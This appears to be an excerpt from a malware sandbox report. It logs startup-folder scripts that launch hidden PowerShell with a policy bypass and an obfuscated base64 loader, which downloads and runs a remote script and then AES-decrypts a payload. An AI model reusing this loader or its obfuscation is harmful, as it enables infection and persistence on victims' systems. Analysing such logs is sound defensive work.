                        Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_491647b6.cmd" "
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_491647b6.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_ec5275dd.cmd" "
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_ec5275dd.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_b584aa07.cmd" "
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_b584aa07.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_febaef34.cmd" "
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_febaef34.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_223343d6.cmd" "
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_223343d6.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHV